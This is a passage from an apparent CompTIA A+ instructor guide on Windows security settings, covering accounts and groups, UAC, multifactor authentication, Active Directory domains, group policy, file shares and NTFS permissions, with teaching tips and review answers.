able to read a file or being able to read and edit it.

• Accounting means logging when and by whom a resource was accessed.

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Access Control Lists

A permission is a security setting that determines the level of access an account has
to a particular resource. A permission is usually implemented as an access control
list (ACL) attached to each resource. Within an ACL, each access control entry (ACE)
identifies a subject and the permissions it has for the resource. A subject could be
a human user, a computer, or a software service. A subject could be identified in
several ways. On a network firewall, subjects might be identified by MAC address, IP
address, and/or port number. In the case of directory permissions in Windows, each
user and security group account has a unique security ID (SID).

While accounts are identified by names in OS interface tools, it is important to realize

that the SID is the only identifier used in the underlying permission entries. If an account
is deleted and then recreated with the same username, the SID will still be different, and
any permissions assigned to the account will have to be recreated.

Implicit Deny
ACL security is typically founded on the principle of implicit deny. Implicit deny
means that unless there is a rule specifying that access should be granted, any
request for access is denied. This principle can be seen clearly in firewall policies. A
firewall filters access requests using a set of rules. The rules are processed in order
from top to bottom. If a request does not fit any of the rules, it is handled by the
last (default) rule, which is to refuse the request.

Least Privilege
A complementary principle to implicit deny is that of least privilege. This means
that a user should be granted the minimum possible rights necessary to perform
the job. This can be complex to apply in practice, however. Designing a permissions
system that respects the principle of least privilege while not generating too many
support requests from users is a challenging task.

User and Group Accounts

A user account is the principal means of controlling access to computer and Show
network resources and assigning rights or privileges. In Windows, a user can be set Slide(s)
up with a local account or a Microsoft account: User and Group
• A local account is defined on that computer only. For example, PC1\David Accounts
is the username for an account configured on a host named PC1. A local user
Teaching
account is stored in a database known as the Security Account Manager (SAM),
Tip
which is part of the HKEY_LOCAL_MACHINE registry. Each machine maintains its
Focus on the
own SAM and set of SIDs for accounts. Consequently, a local account cannot be
difference between
used to log on to a different computer or access a file over the network. standard and
administrator
• A Microsoft account is managed via an online portal (account.microsoft.com) accounts.
and identified by an email address. Configuring access to a device by a Microsoft
account creates a profile associated with a local account. Profile settings can be
synchronized between devices via the online portal.

The guided setup process requires a Microsoft account to be configured initially.

However, the account type can be switched from Microsoft to local or local to
Microsoft as preferred via the Your info page in the Settings app.

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Security Groups
A security group is a collection of user accounts. Security groups are used when
assigning permissions and rights, as it is more efficient to assign permissions to a
group than to assign them individually to each user. You can set up a number of
custom groups with least privilege permissions for different roles and then make
user accounts members of the appropriate group(s).
Built-in groups are given a standard set of rights that allow them to perform
appropriate system tasks.
• A user account that is a member of the Administrators group can perform
all management tasks and generally has very high access to all files and other
objects in the system. The local or Microsoft user created during setup is
automatically added to this group. Other accounts should not routinely be
added to the Administrators group. It is more secure to restrict membership of
the Administrators group as tightly as possible.

There is also a user account named “Administrator,” but it is disabled by default to

improve security.

• A standard account is a member of the Users group. This group is generally

only able to configure settings for its profile. However, it can also shut down
the computer, run desktop applications, install and run store apps, and use
printers. Additional accounts should be set up as standard users unless there is
a compelling reason to add another administrative account.

• The Guest group is only present for legacy reasons. It has the same default
permissions and rights as the User group.

The Guest user account is disabled by default. Microsoft ended support for using the
Guest account to login to Windows in a feature update. The Guest account is only used
to implement file sharing without passwords.

• The Power Users group is present to support legacy applications. Historically,

this group was intended to have intermediate permissions between
administrators and users. However, this approach created vulnerabilities that
allowed accounts to escalate to the administrators group. In Windows 10/11, this
group has the same permissions as the standard Users group.

Local Users and Groups

The Local Users and Groups management console provides an interface for
managing both user and group accounts. Use the shortcut menus and object
Properties dialogs to create, disable, and delete accounts, change account
properties, reset user passwords, create custom groups, and modify group
membership.

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Configuring members of the Administrators built-in group. (Screenshot courtesy of Microsoft.)

net user Commands

You can also manage accounts at the command line using net user. You need to
execute these commands in an administrative command prompt.
• Add a new user account and force the user to choose a new password at first login:

net user dmartin Pa$$w0rd /add /fullname:"David

Martin" /logonpasswordchg:yes
• Disable the dmartin account:

net user dmartin /active:no

• Show the properties of the dmartin account:

net user dmartin

• Add the dmartin account to the Administrators local group:

net localgroup Administrators dmartin /add

User Account Control

User Account Control (UAC) is a Windows security feature designed to protect Show
the system against malicious scripts and attacks that could exploit the powerful Slide(s)
privileges assigned to accounts that are members of the Administrators group. User Account Control
UAC is an example of a least privilege security control. It requires the user to
explicitly consent to performing a privileged task. UAC also allows an administrator
to perform some action that requires elevated privileges within a standard user’s
session.

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• Tasks that are protected by UAC are shown with a Security Shield icon:

It is also possible to explicitly run a process as administrator. Some default

shortcuts are set up this way. For example, the Windows PowerShell (Admin)
shortcut will run as administrator. To run any shortcut as administrator,
use its right-click context menu (More > Run as administrator) or press
CTRL+SHIFT+ENTER to open it.
When a user needs to exercise administrative rights, she or he must explicitly
confirm use of those rights:
• If the logged in account has standard privileges, an administrator’s credentials
must be entered via the consent dialog.

• If the logged in account is already an administrator, the user must still click
through the consent dialog.

UAC requiring confirmation of the use of administrator privileges. This account is an administrator,
so only a confirmation is required—no credentials have to be supplied.
(Screenshot courtesy of Microsoft.)

UAC protects the system from malware running with elevated administrator
privileges. This is a good thing, but if you need to perform numerous system
administration tasks at the same time, UAC can prove frustrating. You can configure
UAC notifications to appear more or less frequently by using the configuration
option in the User Accounts applet. Lowering the notification level will make the
system more vulnerable to malware, however.

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Show
Slide(s)
Authentication
Methods

Teaching
Tip
Explain that MFA
requires a subject to
present two separate
credentials that use
different factors,
such as a smart card
(hardware token) plus
a password or PIN.
2-step verification
is typically required
Configuring UAC notifications. (Screenshot courtesy of Microsoft.) when a new client
device is used to
sign in to a website
Note that the default “Administrator” user account is not subject to UAC and so should or web service.
The user registers
be left disabled if the computer is to be used securely.
an email account
or phone number
with the service. On
authenticating with a
password, the service
then sends a soft
Authentication Methods token code via the
registered contact
In an access control system, accounts are configured with permissions to access method. Alternatively,
resources and (for privileged accounts) rights to change the system configuration. the contact method
To access an account, the user must authenticate by supplying the correct may just be used to
credentials, proving that he or she is the valid account holder. inform the user that a
new device has been
The validity of the whole access control system depends on the credentials for used to access the
an account being usable by the account holder only. The format of a credential is service. The potential
called an authentication factor. The principal factors are categorized as knowledge for this token to be
(something you know, such as a password), possession (something you have, such intercepted or for the
contact method to be
as a smart card or smartphone), and inherence (something you are, such as a compromised is what
fingerprint). makes these methods
2-step verification
Multifactor Authentication rather than 2FA.
Note the use of
Using a single factor makes authentication less reliable. A password could be an authenticator
shared, a device token could be stolen, or a facial recognition system could be application to turn
spoofed using a photograph. a smartphone into
a second factor and
An authentication technology is considered strong if it is multifactor. Multifactor the form factors that
authentication (MFA) means that the user must submit at least two different kinds hardware tokens can
of credential. There are several standard multifactor technologies. take.

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2-step Verification
2-step verification is a means of using a soft token to check that a sign-in request
is authentic. It works on the following lines:
1. The user registers a trusted contact method with the app. This could be an
email account or phone number, for instance.

2. The user logs on to the app using a password or biometric recognition.

3. If the app detects a new device or that the user is signing on from a different
location or is just configured by policy to require 2-step verification in all
instances, it generates a soft token and sends this to a registered email
account or phone number. The code could be delivered by email, short
message service (SMS) text, or as an automated voice call.

4. The user must then input the soft token code within a given time frame to be
granted access.

A soft token is also referred to as a one-time password (OTP).

Multifactor authentication requires a combination of different technologies. For

example, requiring a PIN along with the first school you attended is not multifactor.
Opinions differ about whether 2-step verification with soft tokens is really multifactor.

Authenticator Application
An authenticator application, such as Microsoft Authenticator (microsoft.com/en-
us/security/mobile-authenticator-app), can be used for passwordless access or used
as a two-factor authentication (2FA) mechanism. This works as follows:
1. The authenticator app is installed to a trusted device that is under the
sole control of the user, such as a smartphone. The smartphone must be
protected by its own authentication system, such as a screen lock opened via
a fingerprint.

2. The service or network that the user needs to authenticate with is registered
with the authenticator app, typically by scanning a quick response (QR)
code and then completing some validation checks. Registration uses
encryption keys to establish a trust relationship between the service and the
authenticator app.

3. When the user tries to sign in, the service or network generates a prompt on
the authenticator. The user must unlock his or her device to authorize the
sign-in request.

4. The authenticator then either displays a soft token for the user to input or
directly communicates to the service or network that the user supplied their
credential.

5. The service grants the user access.

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Hard Token Authentication

A hard token works in the same sort of way as an authenticator app but is
implemented as firmware in a smart card or USB thumb drive rather than running
on a smartphone. The hard token is first registered with the service or network.
When the user needs to authenticate, he or she connects the token and authorizes
it via a password, PIN, fingerprint reader, or voice recognition. The token transmits
its credential to the service, and the service grants the user access. These devices
are typically compliant with Fast Identity Online (FIDO) version 2 standards
(fidoalliance.org/fido2).

Windows Login Options

Windows authentication involves a complex architecture of components (docs. Show
microsoft.com/en-us/windows-server/security/windows-authentication/credentials- Slide(s)
processes-in-windows-authentication), but the following three scenarios are typical: Windows Login
• Windows local sign-in—The Local Security Authority (LSA) compares the Options
submitted credential to the one stored in the Security Accounts Manager (SAM)
Teaching
database, which is part of the registry. This is also referred to as interactive
Tip
logon.
Discuss the additional
• Windows network sign-in—The LSA can pass the credentials for authentication authentication options
enabled by Windows
to a network service. The preferred system for network authentication is based
Hello.
on a system called Kerberos.
Note the difference
• Remote sign-in—If the user’s device is not connected to the local network, between signing in to
authentication can take place over some type of virtual private network (VPN) or the local computer
and to signing in to
web portal.
a domain. Explain
that a domain sign in
Username and Password enables SSO so that
the user will also be
A username and password credential is configured by creating the user account authenticated and
and choosing a password. The user can change the password by pressing authorized to use any
CTRL+ALT+DELETE or using account settings. An administrator can also reset the compatible apps and
services running on
password using Local Users and Groups. the domain.

Windows Hello
The Windows Hello subsystem allows the user to configure an alternative means
of authenticating. Depending on hardware support, the following options are
available:
• Personal identification number (PIN)—Unlike a normal Microsoft account
password, a Windows Hello PIN is separately configured for each device. It
uses the trusted platform module (TPM) feature of the CPU or chipset and
encryption to ensure that the PIN does not have to be stored on the device itself.
This is designed to prevent the sort of sniffing and interception attacks that
ordinary passwords are subject to. Despite the name, a PIN can contain letters
and symbols.

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Configuring Windows Hello sign-in options. This PC has the PIN method set up, but it does not
have a fingerprint reader or a camera with infrared (IR) to produce a facial template that will be
resistant to spoofing. (Screenshot courtesy of Microsoft.)

A PIN must be configured to set up Windows Hello. The PIN acts as backup mechanism
in case other methods become available. For example, a camera may fail to work and
make facial recognition impossible, or a hardware token might be lost or temporarily
unavailable.

• Fingerprint—This type of bio gesture authentication uses a sensor to scan the

unique features of the user’s fingerprint.

• Facial recognition—This bio gesture uses a webcam to scan the unique features
of the user’s face. The camera records a 3-D image using its infrared (IR) sensor
to mitigate attempts to use a photo to spoof the authentication mechanism.

• Security key—This uses a removable USB token or smart card. It can also use a
trusted smartphone with an NFC sensor.

From these descriptions, it might seem like only one factor is used, but there are two.
The second factor is an encryption key stored in the TPM.

Single Sign-On
Single sign-on (SSO) means that a user authenticates once to a device or network
to gain access to multiple applications or services. The Kerberos authentication
and authorization model for Active Directory domain networks implements SSO. A
user who has authenticated with Windows is also authenticated with the Windows
domain’s SQL Server and Exchange Server services. Another example is signing in
to Windows with a Microsoft account and also being signed in to cloud applications
such as OneDrive and Office365.

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The advantage of SSO is that each user does not have to manage multiple digital
identities and passwords. The disadvantage is that compromising the account also
compromises multiple services. The use of passwords in SSO systems has proven
extremely vulnerable to attacks.
The Windows Hello for Business mechanism seeks to mitigate these risks by
transitioning to passwordless SSO. In general terms, this works as follows:
1. The user device is registered on the network. This uses public/private
encryption key pair. The private key is only stored within the TPM of the user
device and never transmitted over the network or known by the user. The
public key is registered on the server.

2. When the user authenticates to the device via Windows Hello, the device
communicates a secret encrypted by its private key to the network
authentication server.

3. The server uses the public key to decrypt the secret. This proves that the
secret really did come from the device as it could only have been encrypted
by the private key. Therefore, the network server can authenticate the user
account and issue it with an authorization token to use network services and
applications.

Windows Domains and Active Directory

A local account is only recognized by the local machine and cannot be used to Show
access other computers. For example, if the user David needs access to multiple Slide(s)
computers in a workgroup environment, a separate local account must be Windows Domains
configured on each computer (PC1\David, PC2\David, and so on). These and Active Directory
accounts can use the same names and passwords for convenience, but the user
must still authenticate to the accounts separately. Password changes are not Teaching
synchronized between the machines and must be updated manually. Tip
Explain that a domain
This model does not scale well to large numbers of users. Consequently, most holds multiple user
business and educational organizations use Windows domain networks and and group (and
accounts. A domain account can be authorized to access any computer joined to computer) accounts.
the domain. It can be assigned permissions on any resources hosted in the domain. This means that users
can be assigned
Domain Controllers consistent permissions
regardless of which
To create a domain, you need at least one Windows Server computer configured computer they use to
log in.
as a domain controller (DC). A DC stores a database of network information called
Active Directory (AD). This database stores user, group, and computer objects. The Briefly summarize
DC is responsible for providing an authentication service to users as they attempt to the use of security
groups (assign
sign in. Management of DCs and rights to create accounts in the domain is reserved permissions) and OUs
to Domain Admins. This network model is centralized, robust, scalable, and secure. (target policies) for
administration.
Member Servers
A member server is any server-based system that has been joined to the domain
but does not maintain a copy of the Active Directory database. A member server
provides file and print and application server services, such as Exchange for email
or SQL Server for database or line-of-business applications. AD uses the Kerberos
protocol to provision single sign-on authentication and authorization for compatible
applications and services.

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Security Groups
A domain supports the use of security groups to assign permissions more easily
and robustly. User accounts are given membership of a security groups to assign
them permissions on the network. These permissions apply to any computer joined
to the domain. For example, members of the Domain Admins security group can
sign in on any computer in the domain, including DCs. A member of the Domain
Users security group can only sign in on certain workstations and has no rights to
sign in on a DC.

Security groups in Active Directory. (Screenshot courtesy of Microsoft.)

Remember that accounts and security groups in a domain are configured in the Active
Directory database stored on a Domain Controller, not on each PC. The Active Directory
Users and Computers management console is used to create and modify AD accounts.

Organizational Units
An organizational unit (OU) is a way of dividing a domain up into different
Show administrative realms. You might create OUs to delegate responsibility for
Slide(s) administering company departments or locations. For example, a “Sales”
department manager could be delegated control with rights to add and delete
Group Policy and
Login Scripts user accounts and assign them to a Sales security group, but no rights to change
account policies, such as requiring complex passwords. Standard users in the Sales
Teaching OU could be given permission to sign in on computers in the Sales OU, but not on
Tip computers in other OUs.
Explain that group
policies can be used
to configure security
Group Policy and Login Scripts
options and Windows/
A domain group policy configures computer settings and user profile settings.
app settings for
multiple user and Some settings are exposed through standard objects and folders, such as Security
computer accounts in Settings. Other settings are exposed by installing an Administrative Template.
the domain. GPOs can Administrative Templates can be used to define settings in third-party software too.
be targeted to OUs. Group policy can also be used to deploy software automatically.

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Group Policy Management. (Screenshot courtesy of Microsoft.)

Unlike a local computer, domain group policy objects (GPOs) can be applied to
multiple user accounts and computers. This is done by linking a GPO to a domain or
OU object in AD. For example, you could attach Sales GPOs to the Sales OU and the
policies configured in those GPOs would apply to every user and computer account
placed in the Sales OU. A domain or OU can be linked to multiple GPOs. A system of
inheritance determines the resultant set of policies (RSoPs) that apply to a particular
computer or user account.

Group Policy Updates

When updating local or group security policies, it is important to be familiar with
the use of two command-line tools:
• gpupdate—Policies are applied at sign-in and refreshed periodically (normally
every 90 minutes). The gpupdate command is used to apply a new or changed
policy to a computer and account profile immediately. Using the /force switch
causes all policies (new and old) to be reapplied. The gpupdate command
can be used with /logoff or /boot to allow a sign-out or reboot if the policy
setting requires it.

• gpresult—This command displays the RSoP for a computer and user

account. When run without switches, the current computer and user account
policies are shown. The /s, /u, and /p switches can be used to specify a host
(by name or IP address), user account, and password.

Login Scripts
A login script performs some type of configuration or process activity when the
user signs in. A login script can be defined via the user profile or assigned to an
account via group policy. A login script can be used to configure the environment
for the user—setting environmental variables, mapping drives to specific

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server-based folders, and mapping to printers or other resources, for example.

A login script can also be used to ensure that the client meets the security
requirements for signing on to the network. For example, if the client has out-of-
date software, login can be denied until the software is updated.

Most of these tasks can be implemented via GPO. Some companies prefer to use login
scripts, and some prefer GPO.

Mobile Device Management

Show Mobile Device Management (MDM) is a class of software designed to apply
Slide(s) security policies to the use of mobile devices in the enterprise. This software can be
Mobile Device
used to manage enterprise-owned devices as well as bring your own device (BYOD)
Management user-owned smartphones.
The MDM software logs the use of a device on the network and determines whether
Teaching
to allow it to connect or not, based on administrator-set parameters. When the
Tip
device is enrolled with the management software, it can be configured with policies
This will be covered
to allow or restrict use of apps, corporate data, and built-in functions, such as a
in more detail in the
lesson on mobile video camera or microphone.
security, so do not
spend too much time
on it here.

Configuring iOS device enrollment in Microsoft’s Intune Enterprise Mobility Management (EMM)
suite. (Screenshot courtesy of Microsoft.)

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Review Activity:
Windows Security Settings
7

Answer the following questions: Show

Slide(s)
Review

1. While you are assigning privileges to the accounting department in your Teaching
organization, Cindy, a human resource administrative assistant, insists Tip
that she needs access to the employee records database so that she can Take some time at
fulfill change of address requests from employees. After checking with the end of each topic
her manager and referring to the organization’s access control security to answer questions.
You can use the
policy, you discover that Cindy’s job role does not fall into the authorized
review questions
category for access to that database. What security concept are you for discussion in
practicing in this scenario? class or set them for
students to complete
The principle of least privilege. individually during or
after class.
2. Which three principal user security groups are created when Windows is
installed?

Users, Administrators, and Guests. You might also include Power Users, though
use of this group is deprecated. Going beyond the account types listed in the exam
objectives, you might include groups such as Remote Desktop Users, Remote
Management Users, or Backup Operators. There are also system groups, such as
Everyone, but users cannot be assigned manually to these.

3. What tool would you use to add a user to a local security group?

You can change the account type between Standard and Administrator via Control
Panel, but the Local Users and Groups management console is the tool to use for a
custom security group. You could also use the net localgroup command.

4. What are the requirements for configuring fingerprint authentication via

Windows Hello?

The computer must have a fingerprint reader and a trusted platform module (TPM).
Windows Hello must first be configured with a personal identification number (PIN)
as a backup method.

5. True or false? If you want the same policy to apply to a number of

computers within a domain, you could add the computers to the same
Organizational Unit (OU) and apply the policy to the OU.

True.

6. You are writing a tech note to guide new technicians on operational

procedures for working with Active Directory. As part of this note, what
is the difference between the gpupdate and gpresult commands?

gpupdate is used to refresh local policy settings with updates or changes from the
policy template. gpresult is used to identify the Resultant Set of Policies (RSoP) for a
given computer and/or user account.

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7. Angel brought in the new tablet he just purchased and tried to connect
to the corporate network. He knows the SSID of the wireless network
and the password used to access the wireless network. He was denied
access, and a warning message was displayed that he must contact the
IT Department immediately. What happened, and why did he receive the
message?

Mobile device management (MDM) is being used to mediate network access. The
device must be enrolled with the MDM software before it can join the network.

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Topic 14D
Manage Windows Shares Show
Slide(s)
Manage Windows
8

Shares
CORE 2 EXAM OBJECTIVES COVERED
1.2 Given a scenario, use the appropriate Microsoft command-line tool. Teaching
1.6 Given a scenario, configure Microsoft Windows networking features on a client/desktop. Tip
2.1 Summarize various security measures and their purposes. This topic covers
2.5 Given a scenario, manage and configure basic security settings in the Microsoft Windows examples from several
OS. objectives to cover
joining a domain,
One of the main uses of networks is for file- and printer-sharing. As a CompTIA A+ configuring shares
and permissions, and
technician, you will often need to configure network shares. It is important that you
home folders/login
configure the correct permissions on shares, understanding how share and NTFS scripts.
permissions interact.

Workgroup Setup
As well as user management, the network model determines how shared resources Show
are administered. A workgroup is a peer-to-peer network model in which Slide(s)
computers can share resources, but management of each resource is performed on
Workgroup Setup
the individual computers. A domain is based on a client/server model that groups
computers together for security and to centralize administration. Some computers Teaching
are designated as servers that host resources, while others are designated as clients Tip
that access resources. Administration of the servers and clients is centralized. Explain that in a
workgroup, any
Joining a Workgroup computer can be
used as a server to
Windows setup automatically configures membership of the default workgroup, host shared printers
named WORKGROUP. Each computer is identified in the network browser by a and folders. On a
hostname. The hostname can be changed using the System Properties dialog domain, these roles
(sysdm.cpl). are dedicated to
computers configured
as servers.
The workgroup name can be changed via System Properties, but it is entirely cosmetic. It
is almost always left set to WORKGROUP.

Network Discovery and File Sharing

Within a workgroup, the network type must normally be set to Private to make
the computer discoverable and allow sharing. If the network type is Public, a
notification will display in File Explorer when the Network object is selected. You can
use this notification to make the network private. You can also change the network
type via Network & Internet settings.

It is possible to enable discovery and sharing on public networks, but this will apply to
all public networks and so is not recommended.

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Sharing options are configured via the Advanced sharing settings applet in
Control Panel. To share files on the network, Turn on network discovery and Turn
on file and printer sharing must both be selected.

Advanced sharing settings. (Screenshot courtesy of Microsoft.)

Under All networks, you can select Turn off password-protected sharing to allow
anyone to access file shares configured on the local computer without entering any
credentials. This works by enabling the Guest user account for network access only.

For password-protected sharing, network users must have an account configured on the
local machine. This is one of the drawbacks of workgroups compared to domains. Either
you configure accounts for all users on all machines and manage passwords on each
machine manually, use a single shared account for network access (again, configured
on all machines), or you disable security entirely.

Windows also supports nearby sharing. This refers to sharing data between a PC and
smartphone or other device over Bluetooth in a personal area network (PAN). This is a
simple way to exchange files between devices. Files are saved to the user’s Downloads
folder.

File Share Configuration

Show Simply enabling file sharing does not make any resources available. To do that,
Slide(s) you need to configure a file share.
File Share In a workgroup, you can enable Public folder sharing to make a shared resource
Configuration available quickly. The public folder is a directory that all users of the computer can
read and write to. This can be shared over the network by selecting the option
under Advanced sharing settings > All networks > Turn on sharing so anyone
with network access can read and write files in the Public folders.

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To share a specific folder, right-click it and select Give access to. Select an account,
and then set the Permission level to Read or Read/write as appropriate.

Configuring a file share. (Screenshot courtesy of Microsoft.)

Everyone is a special system group that contains all user accounts. This system group is
often used to configure shares.

The Share tab in the folder’s Properties dialog can be used to customize
permissions, change the share name, and limit the number of simultaneous
connections. Windows desktop versions are limited to 20 inbound connections.
In addition to any local shares created by a user, Windows automatically creates
hidden administrative shares. These include the root folder of any local drives (C$)
and the system folder (ADMIN$). Administrative shares can only be accessed by
members of the local Administrators group.

Note that if you disable password-protected sharing, the administrative shares remain
password-protected.

In fact, if you add a $ sign at the end of a local share name, it will be hidden from
general browsing too. It can still be accessed via the command-line or by mapping a
drive to the share name.

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Network Browsing and Mapping Drives

Show On both workgroup and domain networks, shares are listed by the file server
Slide(s) computer under the Network object in File Explorer. Each computer is identified by
Network Browsing and its hostname. You can browse shares by opening the computer icons. Any network-
Mapping Drives enabled devices such as wireless displays, printers, smartphones, and router/
modems are also listed here.

Viewing devices in a workgroup network. The COMPTIA and COMPTIA-LABS hosts are both
enabled for file sharing. The LaserJet 200 printer listed here is connected directly to the network.
(Screenshot courtesy of Microsoft.)

Mapped Drives
A mapped drive is a share that has been assigned to a drive letter on a client
device. To map a share as a drive, right-click it and select Map Network Drive.
Select a drive letter and keep Reconnect at sign-in checked unless you want to
map the drive temporarily. The drive will now show up under This PC. To remove a
mapped drive, right-click it and select Disconnect.

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Mapping a network drive to a LABFILES share hosted on COMPTIA (\\COMPTIA\labfiles).

(Screenshot courtesy of Microsoft.)

net use Commands

There are several net and net use command utilities that you can use to view
and configure shared resources on a Windows network. A few of the commands are
provided here, but you can view the full list by entering net /?
• Display a list of servers on the local network:

net view
• View the shares available on server named MYSERVER:

net view \\MYSERVER

• Map the DATA folder on MYSERVER to the M: drive:

net use M: \\MYSERVER\DATA /persistent:yes

• Remove the M: drive mapping:

net use M:/delete

• Remove all mapped drives: Show
Slide(s)
net use * /delete Printer Sharing

Teaching
Printer Sharing Tip
Many print devices come with an integrated Ethernet and/or Wi-Fi adapter. This This is also covered in
means that they can communicate directly on the network. Such a printer can be Core 1, so you can skip
it here. If you haven’t
installed using the Add Printer wizard (from Devices and Printers). Just enter the IP done Core 1 already,
address or hostname of the printer to connect to it. Each computer on the network briefly distinguish
can connect to this type of printer independently. connecting a client to
a print device directly
Any printer object set up on a Windows host can also be shared so that other versus connecting
network users can access it. This means that the printer can only be accessed to the printer object
when the Windows machine is on. Print jobs and permissions are managed via the shared by a Windows
Windows host. PC.

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A printer is shared on the network via the Sharing tab in its Printer Properties
dialog. Check Share this printer and enter a descriptive name. Optionally, use the
Additional drivers button to make drivers available for different client operating
systems. For example, if the print server is Windows 10 64-bit, you can make 32-bit
Windows 7 drivers available for other client devices.
To connect to a shared printer, open the server object from Network and the
printer will be listed. Right-click it and select Connect.

Connecting to a printer shared via the COMPTIA PC. Note that this is the same LaserJet 200 print
device as shown earlier, but it is being connected to as a shared device rather than mapped
directly. (Screenshot courtesy of Microsoft.)

NTFS versus Share Permissions

Show When sharing a folder, the basic Give access to interface conceals some of the
Slide(s) complexity of the Windows NTFS versus share permissions system:
NTFS versus Share • Share-level permissions only apply when a folder is accessed over a network
Permissions connection. They offer no protection against a user who is logged on locally to
Teaching
the computer hosting the shared resource.
Tip • NTFS permissions are applied for both network and local access and can be
Explain how a file applied to folders and to individual files. NTFS permissions can be assigned
share is created directly to user accounts, but it is better practice to assign permissions to
by enabling share
permissions. Explain
security groups and make users members of appropriate groups.
the limitations of
share permissions
NTFS permissions can be configured for a file or folder using the Security tab in its
(only three access properties dialog.
levels, same level
applies to all
child objects, and
permissions only
enforced with network
access) and that fine-
grained permissions
can be enforced using
NTFS permissions.

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Configuring NTFS permissions via the Security tab for a folder. (Screenshot courtesy of Microsoft.)

The Security tab shows the ACL applied to the file or folder. Each access control
entry (ACE) assigns a set of permissions to a principal. A principal can either be a
user account or a security group. The simple permissions are as follows:
• Read/list/execute permissions allows principals to open and browse files and
folders and to run executable files.

• Write allows the principal to create files and subfolders and to append data to
files.

• Modify allows the principal write permission plus the ability to change existing
file data and delete files and folders.

• Full control allows all the other permissions plus the ability to change
permissions and change the owner of the file or folder.

Each permission can be configured as either allow or deny. Each object has
an implicit deny that prevents a principal from using a permission it has not
been assigned. Explicit deny permissions are used to achieve more complex
configurations.
A user may obtain multiple permissions from membership of different groups or
by having permissions allocated directly to his or her account. Windows analyzes
the permissions obtained from different accounts to determine the effective
permissions. In this process, it is important to understand that an explicit deny
overrides anything else (in most cases).

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Putting explicit deny permissions to one side, the user obtains the most effective
allow permissions obtained from any source. For example, if membership of a
“Sales” group gives the user Read permission and membership of a “Managers”
group gives the user Modify permission, the user’s effective permission is
Modify.
If a user attempts to view or save a file with insufficient permissions to do so, Windows
displays an Access Denied error message. The Advanced interface includes a tool that
can be used to evaluate effective permissions for a given principal.

Permissions Inheritance
Show When folders are secured using NTFS and/or share permissions, the matter of
Slide(s) inheritance needs to be considered.
Permissions The first consideration is that NTFS permissions assigned to a folder are
Inheritance automatically inherited by the files and subfolders created under the folder.
This default inheritance behavior can be disabled via Security > Advanced >
Permission tab, however.

Directly assigned permissions (explicit permissions) always override inherited

permissions, including “deny” inherited permissions. For example, if a parent folder
specifies deny write permissions but an account is granted allow write permissions
directly on a child file object, the effective permission will be to allow write access on the
file object.

The second consideration is the combination of share and NTFS permissions. The
permissions design needs to account for the following factors:
• Share permissions only protect the resource when it is accessed across the
network; NTFS permissions apply locally and across the network.

• Share permissions are set at the root of the share and all files and subdirectories
inherit the same permissions.

• NTFS permissions inheritance is configurable and therefore is used in

combination with the share permissions to provide greater flexibility; for
example, to place more restrictive permissions at lower levels in the directory
structure.

• If both share and NTFS permissions are applied to the same resource, the
most restrictive applies when the file or folder is accessed over the network.
For example, if the group “Everyone” has Read permission to a share and the
“Users” group is given Modify permission through NTFS permissions, the
effective permissions for a member of the “Users” group will be Read.

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Effective permissions through a shared folder. (Image © 123RF.com.)

Disk partitions using the FAT32 file system can only be protected using share
permissions.

As the interaction between these permissions is quite complex, most of the time,
the shared folder permission is set to Full Control for either the Everyone or
Authenticated Users default groups. The effective permissions are managed using
NTFS security.

The Authenticated Users system group excludes guests.

Domain Setup
When a computer is joined to a domain rather than a workgroup, it is put under the Show
control of the domain administrators. To communicate on a domain, the computer Slide(s)
must have its own account in the domain. This is separate from any user accounts Domain Setup
that are allowed to sign-in.
Teaching
The Windows Home edition cannot join a domain. Tip
Explain how a
Windows PC is set up
in either workgroup
or domain mode and
how users sign in to
the domain rather
than using a local PC
account.

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Windows does not support joining the computer to a domain during an attended
installation. The computer can be joined during an unattended installation by using
an answer file or script. Otherwise, you use either the Access work or school
option in the Account settings app or the System Properties (sysdm.cpl) dialog
to join a domain. The computer must be on the domain network and configured by
DHCP with an appropriate IP address and DNS servers. Each domain is identified
by a FQDN, such as ad.company.example, and the local computer must be
able to resolve this name via DNS to join. The credentials of an account with domain
admin privileges must be input to authorize the new computer account.

Joining a domain using the Settings app. (Screenshot courtesy of Microsoft.)

The same interfaces can be used to detach the computer and revert to workgroup
use. This requires a user account that is a member of the local Administrators
group.
To use services in the domain, the user must sign in to the PC using a domain
account. The Other user option in the sign-in screen will provide a domain option
if it is not the default. You can also enter a username in the format Domain\
Username to specify a domain login.

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Signing in to a domain. (Screenshot courtesy of Microsoft.)

Conversely, when a machine is joined to a domain, .\Username or

hostname\username will authenticate against a local user account.

Home Folders Show

Slide(s)
On a domain, data storage and PC configuration should be as centralized as
Home Folders
possible so that they can be more easily monitored and backed up. This means that
user data should be stored on file servers rather than on local client computers. Teaching
Various settings in Active Directory can be used to redirect user profile data to Tip
network storage.
Cloud synchronization
A home folder is a private drive mapped to a network share in which users is making these
can store personal files. The home folder location is configured via the account technologies
redundant, but
properties on the Profile tab using the Connect to box. Enter the share in the form
make sure students
\\SERVER\HOME$\%USERNAME%, where \\SERVER\HOME$ is a shared can distinguish the
folder created with the appropriate permissions to allow users to read and write different reasons for
their own subfolder only. using them.
Explain how these
features can be
used to make user
experience consistent
across a range of
domain-joined devices
and ensure that data
is stored centrally
where it can be
monitored and backed
up rather than on
individual client PCs.

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When the user signs in, the home folder appears under This PC with the allocated drive letter:
(Screenshot courtesy of Microsoft.)

When the user signs in, the home folder appears under This PC with the allocated
drive letter:

Using the home folder location to save a file. (Screenshot courtesy of Microsoft.)

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Roaming Profiles and Folder Redirection

The home folders feature predates the design of modern Windows user profiles, Show
and it can require extra user training to develop the habit of using it. Most Slide(s)
users expect to save personal files in their profile folders: Documents, Pictures, Roaming Profiles and
Downloads, and so on. For users who work on more than one computer, they will Folder Redirection
have separate profiles on each computer, and the data files stored on the first
computer will not be available on the second computer. This issue can be mitigated
by implementing roaming profiles and/or folder redirection:
• Roaming profiles copies the whole profile from a share at logon and copies
the updated profile back at logoff. Roaming profiles are enabled by entering
the path to a share in the Profile path box in the general form \\SERVER\
ROAMING$\%USERNAME%. The main drawback is that if a profile contains a
lot of large data files, there will be a big impact on network bandwidth and sign-
in and sign-out performance will be slow.

• Folder redirection changes the target of a personal folder, such as the

Documents folder, Pictures folder, or Start Menu folder, to a file share. The
redirected folder is only available across the network. This can be used
independently or in conjunction with roaming profiles. Folder redirection is
configured via a GPO.

Using GPO to redirect the Download folder for accounts in a Nonadmins OU to a shared folder on
a network file server. (Screenshot courtesy of Microsoft.)

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Review Activity:
Windows Shares
9

Show Answer the following questions:

Slide(s)
Review

Teaching 1. What are the prerequisites for joining a computer to a domain?

Tip
Take some time at The computer must be running a supported edition of Windows (Pro, Enterprise,
